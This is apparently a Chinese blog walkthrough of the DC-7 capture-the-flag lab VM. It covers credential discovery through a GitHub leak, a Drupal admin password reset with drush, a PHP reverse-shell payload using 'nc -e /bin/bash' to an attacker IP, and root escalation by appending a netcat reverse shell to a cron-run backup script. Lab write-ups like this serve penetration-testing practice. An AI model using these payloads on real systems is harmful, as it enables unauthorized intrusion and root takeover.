DC-7靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

描述:

DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay"在盒子外面"。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置

3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行

使用工具

攻击者:kali 192.168.1.128

靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述

发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal

再次信息收集

发现主⻚存在⼀些信息:

发现下面有一个@DC7USER

那我们就用搜索引擎去搜索一下,发现了一个Github

config.php配置文件中发现了账号密码

尝试登录web页面,发现无法登录

那就尝试SSH登录,登录成功

ssh dc7user@192.168.1.135

发现了个root用户的定时文件backups.sh,接下来看一下文件权限

ls -la /opt/scripts/
-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :

再回到/home/dc7user目录下查看一下,

发现 backups:备份⽂件

mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件

还有 .drush 这个目录

backups.sh 中也有 drush命令

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

cd /var/www/html

查看用户信息

我们查看一下admin的用户信息

drush user-information admin

接下来修改admin的密码

drush upwd admin --password="admin"

然后我们登录后台,用admin管理员的账号

成功登录

反弹shell

进入后台之后,我们要写木马来进行反弹shell

点击内容,并点击编辑,看看能不能把PHP代码写进去

并未发现支持PHP代码的

这个时候我们需要安装 PHP Filter 模块

先把它下载到本地

然后拖进去进行安装

还需要再勾选一遍

这样才算成功安装

此时,页面编辑器中就出现了 PHP code

在 Body 中添加反弹shell 的pho代码

<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存

现在先在我们的kali里面监听1234端口

nc -lvvnp 1234

然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令

成功反弹过来了

优化 SHELL

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

本地监听:

nc -lvvnp 4321

等待反弹过来即可

因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell

提权成功!

成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

相关推荐
晓幂几秒前
CTFShow-信息搜集
笔记·学习
无敌的俊哥1 小时前
dedecms——四种webshell姿势
web安全
2401_847056551 小时前
Altium Designer脚本工具定制
网络·数据库
小米里的大麦1 小时前
【C++】深入理解引用:从基础到进阶详解
c++·经验分享·笔记·引用·引用和指针
MowenPan19952 小时前
高等数学 3.5 函数的极值与最大值最小值
笔记·学习·高等数学
晚睡早起₍˄·͈༝·͈˄*₎◞ ̑̑2 小时前
苍穹外卖学习笔记(七)
java·windows·笔记·学习·mybatis
就这个java爽!2 小时前
JAVA网络编程【基于TCP和UDP协议】超详细!!!
java·开发语言·网络·tcp/ip·udp·eclipse·idea
一叶飘零_sweeeet2 小时前
为什么 Feign 要用 HTTP 而不是 RPC?
java·网络协议·http·spring cloud·rpc·feign
KookeeyLena72 小时前
动态IP与静态IP:哪种更适合用户使用?
网络·网络协议·tcp/ip
天下无贼!2 小时前
2024年最新版Vue3学习笔记
前端·vue.js·笔记·学习·vue